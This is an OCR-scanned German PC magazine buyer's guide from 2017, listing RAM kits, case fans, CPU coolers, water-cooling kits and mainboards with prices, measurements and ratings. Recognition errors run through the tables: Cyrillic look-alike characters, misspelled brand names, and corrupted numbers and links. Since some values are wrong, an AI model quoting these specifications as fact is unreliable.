G.Skill Ares F3-1866C10D-16GAB Ca. € 130,- | 2 x 8 GiByte DDR3-1866 | 10-11-10-30 | Dual Rank | 3,3 cm | 1,50 Vol 2,58 | 06/2015 | www.pcgh.de/preis/734632 
DDR4 Produktnummer Preis Speichertyp Latenzen Aufbau*** | Hóhe | Spannung | Wertung | Test in 
G.Skill Trident Z F4-3600C16D-16GTZKW Ca. € 200,- | 2 x 8 GiByte DDR4-3600 | 16-16-16-36 | Single-Rank | 4,4 cm | 1,35 Vo 1,72 | 07/2017 | www.pcgh.de/preis/1505578 
Teamgroup T-Force Xtreem | TXGD416G4000HC18EDCO1 Са. € 220,- | 2 x 8 GiByte DDRA-4000 | 18-20-20-44 | Single-Rank | 4,8 cm | 1,35 Vol 1,76 | 07/2017 | www.pcgh.de/preis/1593250* 
Patriot Viper PV416G360C6K Ca.€ 190,- | 2 x 8 GiByte DDR4-3600 | 16-16-16-36 | Single-Rank | 4,1 cm | 1,35 Vol 1,80 | 07/2017 | www.pcgh.de/preis/1539744 
Corsair Vengeance LPX CMK32GX4M4B3600C18 Са. € 360,- | 4 x 8 GiByte DDR4-3600 | 18-19-19-39 | Single-Rank | 3,5 cm | 1,35 Vol 1,89 | 12/2016 | www.pcgh.de/preis/1379074 
G.Skill Flare X F4-3200C14D-16GFX Са. € 190,- | 2 x 8 GiByte DDR4-3200 | 14-14-14-34 | Single-Rank | 4,0 cm | 1,35 Vo 1,93 07/2017 | www.pcgh.de/preis/1590064 
G.Skill Trident Z F4-3200C14Q-32GTZKW Ca. € 380,- | 4 x 8 GiByte DDR4-3200 | 14-14-14-34 | Single-Rank | 4,4 cm | 1,35 Vo 2,06 | 12/2016 | www.pcgh.de/preis/1383384* * 
Corsair Vengeance LED CMU32GX4MAC3200C16R Са. € 350,- | 4 x 8 GiByte DDR4-3200 | 16-18-18-36 | Dual-Rank | 5,0 cm | 1,35 Vol 2,10 12/2016 | www.pcgh.de/preis/1468728 
G.Skill Trident Z RGB F4-3200C16Q-32GTZR Ca. € 340,- | 4 x 8 GiByte DDR4-3200 | 16-18-18-38 | Single-Rank | 4,4 cm | 1,35 Vol 2,14 | 07/2017 | www.pcgh.de/preis/1564347 
Ballistix Elite BLE4CAG4D32AEEA Са. € 180,- | 4 x 4 GiByte DDR4-3200 | 16-18-18-36 | Single-Rank | 4,1 cm | 1,35 Vo 2,23 | 12/2016 | www.pcgh.de/preis/1464325 
Ballistix Tactical BLT2C8G4D30AETA Са. € 150,- | 2 x 8 GiByte DDR4-3000 | 15-16-16-35 | Dual-Rank | 3,8 cm | 1,35 Vo 2,29 | 07/2017 | www.pcgh.de/preis/1464309 
Corsair Vengeance LED CMU32GX4M2C3200C16B Ca. € 330,- | 2 х 16 GiByte DDR4-3200 | 16-18-18-36 | Dual-Rank | 5,0 cm | 1,35 Vo 2,33 12/2016 | www.pcgh.de/preis/1512560 

System DDR3: Core i7-4770K, Asus Maximus VI Extreme, Zotac Geforce GT 640; Windows 7 64 Bit SP1, HCI Memtest Pro *** Aufbau von den meisten Herstellern nicht garantiert, ggf. Abweichungen möglich 

System DDR4: Core i5-6600K/i7-6700K, Asus Maximus VIII Extreme/Ranger bzw. Maximus IX Code, MSI Geforce СТХ 980 Ti Lightning; Windows 10 64 Bit, НСІ Memtest Pro * Silberne Version ** Silber-rote Version 
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Einkaufsführer Kühlung 


Preise: Stand 20.09.2017 


(ETTTETTPREIS-LEISTUNGS-TIPP. 


[EL PISPAR-TIPP 


ПШ Arctic F12 PWM 


120-mm-Lüfter Preis Anschluss/Kabellänge | Regelung Drehzahl 100 % | Kühlleistung* Lautheit* svergleich 
Noctua NF-F12 PWM Ca. € 18,- | 4-Pin PWM/53 cm Spannungs-Adapter | 1.500 U/min 0,2/13,4/18,6 Kelvin | 1,9/0,4/0,1 Sone 2,25 12/2016 | www.pcgh.de/preis/698532 
Blacknoise Eloop B12-PS Ca. € 18,- | 4-Pin PWM/75 cm - .500 U/min 0,9/14,1/19,0 Kelvin | 0,8/0,2/0,1 Sone 2,47 12/2016 | www.pcgh.de/preis/820091 
UE Scythe Glide Stream 120 PWM Ca. € 10,- | 4-Pin PWM/50 cm _ .300 U/min 0,3/12,2/17,5 Kelvin | 1,5/0,6/0,1 Sone 2,50 12/2016 | www.pcgh.de/preis/837136 
Be Quiet Silent Wings 3 PWM Ca. € 18,- | 4-Pin PWM**/50 cm _ .450 U/min 1,7/14,4/20,7 Kelvin | 0,8/0,2/0,1 Sone 2,50 12/2016 | www.pcgh.de/preis/1490397 
Blacknoise Multiframe M12-2 Ca. € 20,- | 3-Pin/44 cm _ .250 U/min 2,7/16,1/21,5 Kelvin | 0,6/0,2/0,1 Sone 2,62 12/2016 | www.pcgh.de/preis/342339 
Ca.€5,- | 4-Pin PWM**/39 cm - .350 U/min 0,0/12,9/18,2 Kelvin | 1,6/0,5/0,1 Sone 2,63 12/2016 | www.pcgh.de/preis/458676 
Blacknoise Black Silent Pro PL-2 Ca. € 12,- | 3-Pin/75 cm - .400 U/min 2,3/15,4/20,5 Kelvin | 1,1/0,4/0,1 Sone 2,65 12/2016 | www.pcgh.de/preis/476778 
Be Quiet Silent Wings 2 PWM Ca. € 27,- | 4-Pin PWM/44 cm - .500 U/min 2,2/15,2/20,8 Kelvin | 1,0/0,3/0,1 Sone 2,65 12/2016 | www.pcgh.de/preis/877395 
Be Quiet Shadow Wings SW1 Ca. € 12,- | 3-Pin/45 cm - 2.200 U/min 8,9/11,2/15,6 Kelvin | 2,8/1,0/0,2 Sone 2,76 12/2016 | www.pcgh.de/preis/684033 
Cooler Master Silencio FP 120 PWM | Са. €9,- | 4-Pin PWM/44 cm - .400 U/min 3,1/16,9/23,1 Kelvin | 0,7/0,4/0,1 Sone 2,78 12/2016 | www.pcgh.de/preis/1227673 
Fractal Design Dynamic X2 GP-12 Ca. € 14,- | 3-Pin/51 cm - .200 U/min 2,2/15,8/21,3 Kelvin | 0,8/0,2/0,1 Sone 2,81 12/2016 | www.pcgh.de/preis/1497617 
140-mm-Lüfter Preis Anschluss/Kabellánge | Regelung Drehzahl 100 % | Kühlleistung* Lautheit* Wertung PCGH-Preisvergleich 
Blacknoise Eloop B14-PS Ca. € 25,- | 4-Pin PWM/75 cm _ .200 U/min 8,8/11,0/15,2 Kelvin | 1,2/0,3/0,1 Sone 2,03 01/2016 | www.pcgh.de/preis/1313838 
Thermaltake Riing 14 RGB Ca. € 25,- | 4-Pin PWM/45 cm 2-stufig .400 U/min 9,1/11,3/16,9 Kelvin | 1,6/0,7/0,1 Sone 2,27 01/2016 | www.pcgh.de/preis/1348647 
Noctua NF-A14 FLX Ca. € 22,- | 3-Pin/53 cm 2 Spannungs-Adap. .200 U/min 9,5/12,0/16,9 Kelvin | 1,2/0,4/0,1 Sone 227 01/2016 | www.pcgh.de/preis/870798 
Aerocool Dead Sil. White Ed. 140mm | Ca. € 19,- | 3-Pin/50 cm Spannungs-Adapter | 1.000 U/min 0,3/12,9/18,3 Kelvin | 0,7/0,3/0,1 Sone 2,33 01/2016 | www.pcgh.de/preis/1058907 
Blacknoise Black Silent Pro PK-2 Ca. € 16,- | 3-Pin/75 cm _ .200 U/min 0,2/12,8/18,1 Kelvin | 1,2/0,5/0,1 Sone 2,39 01/2016 | www.pcgh.de/preis/476867 
Fractal Design Venturi HP-14 PWM Ca. € 20,- | 4-Pin PWM/50 cm - .500 U/min 9,6/11,7/18,2 Kelvin | 1,6/0,6/0,1 Sone 2,41 01/2016 | www.pcgh.de/preis/1266895 
ТШТУ Enermax T.B.Silence PWM 140mm Ca. € 12,- | 4-Pin PWM/49 cm - 1.200 U/min 9,2/11,8/16,0 Kelvin | 1,7/0,6/0,1 Sone 2,42 01/2016 | www.pcgh.de/preis/886129 
Silverstone SST-FQ141 Ca. € 20,- | 4-Pin PWM/29 cm Spannungs-Adapter | 1.000 U/min 0,3/12,9/17,6 Kelvin | 1,1/0,4/0,1 Sone 2,42 01/2016 | www.pcgh.de/preis/1170330 
Be Quiet Silent Wings 2 PWM Ca. € 30,- | 4-Pin PWM/45 cm _ .000 U/min 1,4/15,3/21,0 Kelvin | 0,5/0,1/0,1 Sone 2,44 01/2016 | www.pcgh.de/preis/877396 
Phanteks PH-F140SP Ca. € 15,- | 3-Pin/92 cm _ 1.200 U/min 8,9/11,5/16,2 Kelvin | 1,7/0,5/0,1 Sone | 2,45 01/2016 | www.pcgh.de/preis/1112616 
I TE Nanoxia Cool Force Са. Є 7,- | 3-Pin/43 cm Vorwiderstand .100 U/min 2,2/14,6/20,3 Kelvin | 0,4/0,2/0,1 Sone 2,47 01/2016 | www.pcgh.de/preis/1395404 
Enermax Cluster Advance Ca. € 13,- | 4-Pin PWM/49 cm 3-stufig an Lüfternabe | 1.500 U/min 8,4/10,1/14,8 Kelvin | 2,8/1,4/0,3 Sone 2,65 01/2016 | www.pcgh.de/preis/1186749 
Akasa 14cm Apache Black Ca. € 17,- | 4-Pin PWM/40 cm - .300 U/min 8,1/10,2/14,0 Kelvin | 2,8/1,1/0,3 Sone 2572 01/2016 | www.pcgh.de/preis/681031 
Noctua NF-A14 Industr.-PPC-2000 PWM | Ca. € 27,- | 4-Pin PWM/40 cm - 2.000 U/min 6,9/8,1/11,8 Kelvin 3,8/1,9/05 Sone | 2,75 01/2016 | www.pcgh.de/preis/1115473 
Be quiet Pure Wings 2 140mm Са. Є 9,- |3-Pin/45 cm _ .000 U/min 11,8/15,6/21,1 Kelvin | 0,6/0,2/0,1 Sone 2,88 01/2016 | www.pcgh.de/preis/994425 
180-mm-Lüfter Preis Anschluss/Kabellänge | Regelung Drehzahl 100 % | Kühlleistung* Lautheit* Wertung PCGH-Preisvergleich 
Phobya G-Silent 18 rot Ca. € 20,- | 3-Pin/50 cm - 700 U/min 7,3/9,0/12,6 Kelvin 0,6/0,2/0,1 Sone 1,72 04/2015 | www.pcgh.de/preis/955636 


* Auf Alphacool Nexxxos XT45 120/140/180 mm 


Prozessorkühler 


adiator, Differenztemperatur Wasser/Luft; Wärmequelle: Xeon E5-2687W (150 W TDP); Messung bei 100/75/50 % Lüfterdrehzahl ** Messung mit analoger Ansteuerung; bei PWM-Ansteuerung ggf. zusätzliche Störgeräusche 


Modell Preis МаВе (B x H x T) Gewicht CPU-Temp. 1,0 Sone | CPU-Temp. (100/75/50 %) | Lautheit (100/75/50 %) WI PCGH-Preisvergleich 
EKL Alpenfóhn Brocken 3 n. verfüg. 150 x 171 x 126 mm; 870 g 52,5 *C (1.020 U/min) 52,5/54,6/61,1 °C 1,0/0,3/0,1 Sone 2,05 10/2017 | www.pcgh.de/preis/1675194 
Noctua NH-D15 Ca.€90- | 151 x 175 х 162 mm; 13129 50,8 °C (1.020 U/min) 48,1/49,9/54,5 °C 3,0/1,2/0,2 Sone 2,08 09/2015 | www.pcgh.de/preis/1098241 
Thermaltake Frio Extr. Silent 14 Dual | Ca. € 75,- 57 x 166 x 146 mm; 1235 g 50,3 °C (1.000 U/min) 49,6/52,1/61,2 °C 1,6/0,6/0,1 Sone 211 09/2015 | www.pcgh.de/preis/1196525 
Scythe Mugen 5 Са. € 44,- 38 x 150 x 109 mm; 885 g Nicht mögl. (max. 0,9 Sone) | 52,1/53,6/59,4 °C 0,9/0,3/0,1 Sone 2,14 01/2017 | www.pcgh.de/preis/1549393 
Scythe Fuma Ca. € 43,- 38 x 149 x 131 mm; 923 g 52,0 °C (900 U/min) 48,5/50,8/56,2 °С 2,9/1,3/0,4 Sone 2,16 05/2016 | www.pcgh.de/preis/1339886 
Noctua NH-U14S Ca. €70,- | 152 х 166 x 80 mm; 938g 51,4 *C (1.140 U/min) 49,7/52,1/58,7 °C 1,8/1,1/0,3 Sone 2,16 12/2014 | www.pcgh.de/preis/929404 
EKL Alpenfóhn Olymp Ca. € 60,- 55 х 161 x 151 mm; 1.187 g | 52,8 °C (1.020 U/min) 50,8/53,5/61,5 *C 2,0/0,9/0,1 Sone 2,18 05/2016 | www.pcgh.de/preis/1386052 
hermalright Le Grand Macho RT Ca. € 60,- 50 х 162 x 148 mm; 1.111g | Nicht mögl. (max. 0,9 Sone) | 50,1/52,8/59,1 °C 0,9/0,3/0,1 Sone 2,23 01/2017 | www.pcgh.de/preis/1442034 
hermalright Macho Rev. B Ca. € 45,- 42 x 173 x 129 mm; 877 g 52,2 *C (1.190 U/min) 51,2/54,7/62,9 °C 1,2/0,5/0,2 Sone 2,25 02/2015 | www.pcgh.de/preis/1193857 
UE Soythe Ninja 4 Ca.€37,- | 132 х 155 x 155 mm; 905g 52,4 °C (1.170 U/min) 50,6/53,2/60,3 °C 2,1/0,7/0,2 Sone 2,25 09/2015 | www.pcgh.de/preis/1267181 
hermalright Macho Direct Ca.€39- | 152 х 162 x 128 mm; 823 g 52,1 °C (1.190 U/min) 52,1/54,8/61,3 °C 1,0/0,3/0,1 Sone** 2,26 04/2016 | www.pcgh.de/preis/1372274 
Be Quiet Dark Rock Pro 3 Ca. € 75,- 41 x 164 x 150 mm; 1244 g 51,6 °C (1.340 U/min) 50,3/52,1/55,6 °C 2,1/0,9/0,3 Sone 2,32 09/2015 | www.pcgh.de/preis/1054341 
hermalright True Spirit 140 Direct Са. € 43,- 52 х 165 х 71 тт; 658 9 Nicht mögl. (max. 0,8 Sone) | 50,8/54,2/60,7 °C 0,8/0,2/0,1 Sone 2,33 01/2017 | www.pcgh.de/preis/1529573 
EKL Alpenföhn Brocken 2 Ca. € 40,- 53 x 173 x 98 mm; 840 g Nicht mögl. (max. 0,8 Sone) | 53,8/57,7/64,6 °C 0,8/0,2/0,1 Sone 2,38 09/2015 | www.pcgh.de/preis/912549 
hermaltake Frio Silent 14 Ca.€42,- | 150 х 165 x 68 mm; 633g 54 °С (1.060 U/min) 52,2/55,4/63,9 °C ‚2/0,3/0,1 Song 2,48 12/2014 | www.pcgh.de/preis/1157899 
Cooler Master Hyper 612 Ver.2 Ca. € 36,- 51 x 162 x 131 mm; 945 g Nicht mögl. (max. 0,9 бопе) | 54,9/58,2/—* °C 0,9/0,3/—* Sone 2,50 12/2014 | www.pcgh.de/preis/1172666 
EKL Alpenföhn Brocken Eco Ca. € 30,- 31 x 151 x 88 mm; 612 g 55,9 °C (1.240 U/min) 53,7/57,4/64,2 °C ,4/0,5/0,1 Sone 2,55 12/2014 | www.pcgh.de/preis/1081623 
Noctua NH-D15S Ca. € 75,- 49 x 163 x 134 mm; 1.153 9 | 53,2 °C (1.080 U/min) 50,3/53,2/60,3 °C 2,3/1,0/0,3 Sone 2,57 05/2016 | www.pcgh.de/preis/1271076 
Be Quiet Pure Rock Ca. € 31,- 130 x 155 x 89 mm; 629 g 56,2 °C (1.370 U/min) 55,5/58,1/68,0 °C ‚5/0,5/0,1 Sone 2,62 01/2017 | www.pcgh.de/preis/1184606 
IL y Cooler Master Hyper 4125 Ca. € 29,- 132 x 162 x 97 mm; 580 g Nicht mögl. (max. 0,8 Sone) | 56,7/59,1/67,2 °C 0,8/0,3/0,1 Sone 2,62 09/2015 | www.pcgh.de/preis/697260 
Enermax ETS-50 Axe Ca.€48- | 139x 161 x 112 mm; 910g 55,3 *C (1.190 U/min) 49,5/52,4/62,3 °C 3,3/1,3/0,4 Sone 2,67 01/2017 | www.pcgh.de/preis/1491128 
Thermaltake Frio Silent 12 Ca.€39- | 128 х 141 x 67 mm; 328g 54,7 °С (1.310 U/min) 53,8/58,6/70,4 °C ,1/0,4/0,1 Sone 2,68 01/2017 | www.pcgh.de/preis/1158734 
Arctic Freezer i32*** Ca.€24- | 124 х 150 x 74 mm; 659 g 53 *C (1.270 U/min) 53,0/58,3/67,3 °C ‚0/0,4/0,2 Sone** 2,71 04/2016 | www.pcgh.de/preis/1325324 
Be Quiet Shadow Rock Slim Ca.€40- | 141 х 159 х 73 mm; 702g 54,8 °C (1.220 U/min) 53,5/57,1/64,3 °C ,6/0,5/0,1 Sone 2,72 09/2015 | www.pcgh.de/preis/1054903 
Noctua NH-C14S Ca.€75- | 146 х 142 x 164mm; 1.013g | 57,3 °C (980 U/min) 53,2/55,7/62,3 °C 3,1/1,4/0,3 Sone 3,02 04/2016 | www.pcgh.de/preis/1271077 
* Betrieb mit 50 Prozent Drehzahl nicht möglich ** Messung mit analoger Ansteuerung; bei PWM-Ansteuerung gegebenenfalls zusätzliche Störgeräusche *** Anpresskraft Sockel-1151-Originalhalterung zu hoch, Nachrüstkit auf Anfrage 
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Einkaufsführer Wasserkühlung & Mainboards |. 


CETTE Т PREIS-LEISTUNGS-TIPP 


[ERS fT SPAR-TIPP 


Vorgefüllte Kompakt- und modulare Wasserkühlungen 


Modell Preis Radiator (B x H x T) CPU-Temp. 1,0 Sone | CPU-Temp., (100/75/50%) | Lauth. (100/75/50%/Pumpe) | Wertung | Test in 
Alphacool Eisbaer 240 Ca. € 120,- | 274 x 124 x 55 mm 50,7 *C (1.020 U/min) 49,4/51,2/56,0 *C 3,9/1,9/0,6/0,1 Sone 1,73 08/2016 | www.pcgh.de/preis/758311939 
Arctic Liquid Freezer 240 Ca.€80,- |273x 120 x 88 mm 47,4 °C (970 U/min) 45,3/47,4/51,4 °C 2,5/1,0/,2/0,2 Sone 1,78 03/2016 | www.pcgh.de/preis/1341649 ture) 
Cooler Master Master Liquid 240 Ca.€85- | 278 х 120 х 53 mm 49,1 °C (1.320 U/min) 45,2/47,5/52,7 °C 3,9/1,6/0,4/0,1 Sone 1,81 07/2017 | www.pcgh.de/preis/1562099 
NZXT Kraken X62 N. verfüg. | 316 x 144 x 55 mm 43,6 °С (960 U/min) 41,5/41,7/43,6 °C 6,3/3,4/1,0/0,2 Sone 1,84 07/2017 | www.pcgh.de/preis/1526114 
Be Quiet Silent Loop 240 mm Са. € 130,- | 275 x 123 х 55 mm 50,4 °C (1.230 U/min) 47,2/48,5/51,7 °C 4,3/2,0/0,5/0,1 Sone 1,87 07/2017 | www.pcgh.de/preis/1508159 
Fractal Design Celsius 524 Ca. € 110,- | 283 x 122 x 55 mm 49,1 °C (1.100 U/min) 45,4/46,9/51,6 *C 4,6/2,1/0,7/0,1 Sone 1,99 07/2017 | www.pcgh.de/preis/1621894 
Fractal Design Celsius $36 Ca. € 130,- | 404 x 122 x 56 mm 48,2 °C (1.020 U/min) 43,1/45,0/49,1 °C 5,3/2,8/0,9/0,1 Sone 2,04 07/2017 | www.pcgh.de/preis/1621923 
Cooler Master Nepton 240M Ca. € 110,- | 277 x 123 x 59 mm 49,7 °C (1.320 U/min) 46,4/47,6/51,2 °C 4,3/2,1/,6/0,2 Sone 2,13 06/2015 | www.pcgh.de/preis/1184616 
Enermax Шатах II 240 N. verfüg. | 275 x 120 x 53 mm 53,3 °C (1.020 U/min) 50,2/52,5/58,1 °C 2,8/1,3/,4/0,3 Sone 2,20 06/2015 | www.pcgh.de/preis/1214287 
Antec Kühler Н2О 1200 Pro Са. Є 75,- | 276 x 120 x 52 mm 51,7 °С (1.000 U/min) 48,0/49,7/52,7 °C 4,2/2,0/0,7/0,1 Sone 2,25 04/2016 | www.pcgh.de/preis/1374223 
ID-Cooling Frostflow 240 N. verfüg. | 275 x 120 x 52 mm 51,7 °C (1.110 U/min) 47,6/49,3/52,1 °C 6,7/3,2/0,9/0,1 Sone 2,39 07/2017 | www.pcgh.de/preis/1425977 
Fractal Design Kelvin 524 N. verfüg. | 276 x 124 x 58 mm 52,7 °C (900 U/min) 49,3/50,5/53,3 °C 4,412,2/,8/0,7 Sone 2,42 06/2015 | www.pcgh.de/preis/1127755 
Modell Preis Radiator (B x H x T) CPU-Temp. 1,0 Sone | CPU-Temp., (100/75/50%) | Lauth. (100/75/50%/Pumpe) | Wertung | Test in 
Alphacool Nexx. Cool Answer 240 D5/ST | Ca. € 270,- | 275 x 124 x 55 mm 49,6 °C (1.120 U/min) 49,6/51,3/57,4 *C 1,0/0,5/0,1/0,1 Sone 1,24 09/2016 | www.pcgh.de/preis/1132495 
EK Water Blocks EK-Kit $240 Ca. € 200,- | 282 x 121 x 52 mm 49,2 °C (1.200 U/min) 47/49,2/53 °C 2,3/1,0/0,3/0,1 Sone 1,34 09/2016 | www.pcgh.de/preis/1443185 
XSPC Ray Storm Pro lon AX240 Kit N.verfüg. | 287 x 128 x 65 mm 48,9 *C (1.000 U/min) 45,6/47,4/51,8 °C 2,9/1,3/0,5/0,3 Sone 1,58 09/2016 | www.pcgh.de/preis/1450064 


Temperatur- und Lautheitsmessungen entsprechen Luftkühlern, aber das Benotungssystem weicht ab. Wertung nicht vergleichbar! 


Mainboards für AMD-Prozessoren 


* Messung mit analoger Ansteuerung; bei PWM-Ansteuerung gegebenenfalls zusätzliche Stórgeráusche 


Sockel АМА Preis lOH/Format | PCI-E CPU (3.0) & OH (2.0) | M.2-Anbindung | Sound | USB ext./int.; SATA | Lüfter Test in 

Asus Crosshair VI Hero Ca. € 230,- | X370/ATX x16*/x0* & x0*/x0*/x0*/x4* | 3.0x4 51220 2/1x3.1; 8/2x3,0; 8х | 7 (7x РММ) 2,81 05/2017 | www.pcgh.de/preis/1582881 

Gigabyte AX370-Gam.5 | Ca. € 190,- | X370/ATX x16*/x0* & x0*/x0*/x0*/x4* | 3.0x4 ALC1220 | 4/0x3.1; 6/4x3,0; 8x | 8 (8x PWM) 2,82 05/2017 | www.pcgh.de/preis/1582173 

MSI X370 Xpower Titan. | Ca. € 230,- | X370/ATX x16*/x0* & x1/x1/x1/x0* 3.0x4; 2.0x4* | ALC1220 | 2/1x3.1; 4/4x3,0; 6x | 5 (5х PWM) 2,93 05/2017 | www.pcgh.de/preis/1580650 

Asrock X370 Killer SLI Ca. € 130,- | X370/ATX x16*/x0* & x1/x1/x1/x1 3.0x4; 2.0x2 ALC892 | 2/0x3.1; 6/4x3,0; 6x | 5 (5х PWM) 2,93 05/2017 www.pcgh.de/preis/1582146 «ТТЛ, 
Asus Prime X370-pro Ca. € 140,- | X370/ATX x16*/x0* & x0*/x1/x0*/x4* |3.0x4 S1220A |2/1x3.1; 6/2x3,0; 8x | 6 (6x PWM) 2,95 05/2017 | www.pcgh.de/preis/1582178 

Asus Prime B350-Plus Ca.€85,- | B350/ATX x16 & х0*/х4*/х0* 3.0x4 ALC887 | 2/0х3.1; 4/2x3,0; 6x | 3 (3x PWM) 3,26 06/2017 | www.pcgh.de/preis/1582183 

Asrock AB350M Pro4 Са. Є 75,- | B350/uATX | x16 & x1/x4 3.0x4; SATA** | ALC892 | 0/0x3.1; 5/2x3,0; 4x | 3 (2x PWM) 3,36 06/2017 | www.pcgh.de/preis/1 582198 T TI 
Gigabyte AB350-Gam. 3 | Ca. € 110,- | B350/ATX x16 & х1/х/4*/х0*/х0* 3.0x4** ALC1220 | 2/0x3.1; 4/2x3,0; 6x | 5 (5x PWM) 3,39 06/2017 | www.pcgh.de/preis/1582168 

Biostar Racing B350GT5 | Ca. € 100,- | B350/ATX x16 & x0*/x0*/x4* 3.0x4 ALC892 | 2/0x3.1; 4/2x3,0; 4х | 4 (4х PWM) 3,42 06/2017 | www.pcgh.de/preis/1579988 
* PCI-E-Lane-Sharing ** Shared mit SATA *** Shared mit SATA und mit PCI-E-Slot(s) 

Mainboards für Intel-Prozessoren 

Sockel 2066 Preis PCH/Form. | PCI-E CPU (3.0) & PCH (3.0) M.2-Anbindung | Sound USB ext./int.; SATA | Lüfter Test in PCGH-Preisvergleich 

Asus Strix X299-E Gam. Ca. € 320,- | X299/ATX x16/x16/x8 & x1*/x1/x4** 3.0x4; 3.0x4 51220A 2/1x3.1; 4/4х3,0; 8х | 7 (7x PWM 2,05 09/2017 | www.pcgh.de/preis/1641089 (Tr Tri 
Asrock X299 Prof. Ga.i9 | Ca. € 410,- | Х299/АТХ | x16*/x8/x16/x0* & x 1(-2.0!) 3x 3.0x4 ALC1220 | 2/1x3.1; 4/4x3,0; 10x | 5 (5х PWM 2,06 10/2017 | www.pcgh.de/preis/1641217 

MSI X299 Ga. Pro Car. AC | Ca. € 310,- | X299/ATX | x16/x4/x16/x8 & x1/x1 3.0x4; 3.0x4 ALC1220 | 2/1x3.1; 4/4x3,0; 8x | 6 (6x PWM 2,07 09/2017 | www.pcgh.de/preis/1632012 

Asus TUF X299 Mark 2 Ca. € 230,- | X299/ATX | x16/x16/x8 & x1/x2/x1 3.0x4; 3.0x4 51220A 2/0x3.1; 4/4x3,0; 6x | 8 (8x PWM 2,12 09/2017 | www.pcgh.de/preis/1641192 

MSI X299 Raider Ca. € 200,- | X299/ATX | x16/x16/x8 & х4/х1 3.0х4**; 3.0x4 ALC1220 | 2/1x3.1; 4/4x3,0; 8x | 6 (6x PWM 2,22 10/2017 www.pcgh.de/preis/1641249 (ir det. 
Gigabyte X299 Gaming 9 | Ca. € 490,- | X299/ATX | x16*/x4*/x16/x0* & x4 3.0х4*; 2x 3.0x4 | ALC1220 | 5/1x3.1; 4/4x3,0; 8x | 8 (8x PWM 2,24 10/2017 | www.pcgh.de/preis/1631550 

Gigabyte X299 Gaming 3 | Ca. € 280,- | X299/ATX | x16/x4/x16/x8 & x4 3.0x4**; 3.0x4 ALC1220 | 2/0x3.1; 6/4x3,0; 8x | 8 (8x PWM 2,29 09/2017 | www.pcgh.de/preis/1631912 

Sockel 1151 Preis PCH/Form. | PCI-E CPU (3.0) & PCH (3.0) M.2-Anbindung | Sound USB ext./int.; SATA | Lüfter | Wertung | Test in PCGH-Preisvergleich 

Asus Maximus VIII Ranger | Ca. € 130,- | Z170/ATX x16*/x0* & х1/х1/х1/х4 3.0x4 ALC1150 | 2/0x3.1; 2/4x3,0; 6x | 7 (7x PWM 2/33 11/2015 | www.pcgh.de/preis/1306336 (T 11113 
Asus Z170-Deluxe Ca. € 210,- | 2170/АТХ x16*/x0* & х1/х1/х1/х1/х2* 3.0x4 ALC1150 | 6/0x3.1; 1/4x3,0; 8x | 7 (6x PWM 2,34 10/2015 | www.pcgh.de/preis/1306329 

MSI 2270 Gam. Pro Carb. | Ca. € 160,- | 2270/АТХ | x16*/x0* & x1/x1/x1/x4 3.0x4; 3.0x4** ALC1220 | 2/0x3.1; 4/4x3,0; 6x | 6 (6x PWM 2,37 02/2017 | www.pcgh.de/preis/1557471 

Asus Maximus IX Hero Ca. € 250,- | Z270/ATX x16*/x0* & x1/x1/x0*/x4* 3.0x4; 3.0x4** ALC1220 | 2/2x3.1; 4/2x3,0; 6x | 8 (8x PWM 2,41 02/2017 | www.pcgh.de/preis/1557900 

Gigabyte 2270Х-бат. 7 | Са. € 190,- | 2270/АТХ x16*/x0* & x1/x1/x0*/x0* 3.0х4*; 3.0x4** | Sound Core | 2/0x3.1; 5/4x3,0; 6x | 7 (7х PWM 2,46 02/2017 | www.pcgh.de/preis/1557876 

Asrock 7270 Gaming K6 | Ca. € 180,- | Z270/ATX x16*/x0* & х1/х1/х1/х4 3.0x4**: 3.0x4** | ALC1220 | 2/0x3.1; 4/4x3,0; 8x | 5 (bx PWM 2,52 02/2017 | www.pcgh.de/preis/1544856 

MSI 2170А Gaming M7 Ca. € 160,- | Z170/ATX x16*/x0* & х1/х0*/х0*/х0*/х4* | 3.0x4; 3.0x4*** | ALC1150 | 2/0x3.1; 2/4x3,0; 6x | 5 (2х PWM 2,53 10/2015 | www.pcgh.de/preis/1306689 

Asrock 2170 Gaming K4 | Ca. € 120,- | Z170/ATX x16 & х1/х1/х4/х1 3.0x4 ALC1150 | 0/0x3.1; 6/2x3,0; 6x | 6 (2x PWM 2,58 11/2015 | www.pcgh.de/preis/1306625 

Biostar Z270GT6 N. verfüg. | Z270/ATX x16 & х1/х1/х4/*х1/х4 3.0x4* ALC892 0/0x3.1; 5/2х3,0; 6x | 5 (5х PWM 2 04/2017 | www.pcgh.de/preis/1558351 

Asrock B150M Рго45 Са. €70,- | BIBO/JATX | x16 & x1/x1/x4 - ALC892 0/0x3.1; 4/2x3,0; 6x | 3 (3x PWM 3,28 08/2016 | www.pcgh.de/preis/1318332 

Sockel 2011-v3 Preis PCH/Form. | PCI-E CPU (3.0) & PCH (2.0) M.2-Anbindung | Sound USB ext./int.; SATA | Lüfter | Wertung | Test in PCGH-Preisvergleich 

Asrock X99 Taichi Ca. € 240,- | X99/ATX x16/x16*/x0* & x1/x1 3.0x4; 3.0x4 ALC1150 | 2/x3.1; 3/2x3,0; 10x | 5 (3x PWM) 1,80 10/2016 | www.pcgh.de/preis/14626244 15: r] 
Asus Strix X99 Gaming Ca. € 300,- | X99/ATX x16*/x16/x0* & x0*/x1*/x1* 3.0x4 ALC1150 | 2/x3.1; 4/4x3,0; 10x | 6 (6x PWM) 1,84 10/2016 | www.pcgh.de/preis/1441449 

Gigabyte X99-Ultra Gam. N. verfüg. | X99/ATX x16*/x16*/x0*/x0* & x1 3.0x4 ALC1150 | 2/x3.1; 6/4x3,0; 10x | 5 (3x PWM) 1,89 10/2016 | www.pcgh.de/preis/1446348 

MSI X99A Raider Ca. € 190,- | X99/ATX x16*/x16/x0* & x1/x1 3.0x4 ALC892 2/x3.1; 412x3,0; 10x | 5 (2x PWM) 1,95 10/2016 www.pcgh.de/preis/1247988 ТҮ 
Asus X99-E Ca. € 230,- | X99/ATX х16/х16/х0* & x1/x1 3.0х4* ALC1150 | 1/x3.1; 4/4x3,0; 10x | 5 (5х PWM) 1,95 10/2016 | www.pcgh.de/preis/1441447 

MSI X99A Gam. Pro Carb. | Ca. € 260,- | X99/ATX х16*/х16/х0*/х0* & х1/х1 3.0x4* о. 2.0x2** | ALC1150 | 2/x3.1; 4/5х3,0; 10x | 5 (1x PWM) 1,96 10/2016 | www.pcgh.de/preis/1443681 
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Einkaufsführer | SERVICE 


Einkaufsführer LCDs & Eingabegeräte ea 


(ТТТ PREIS-LEISTUNGS-TIPP Наїіцьага SPAR-TIPP 


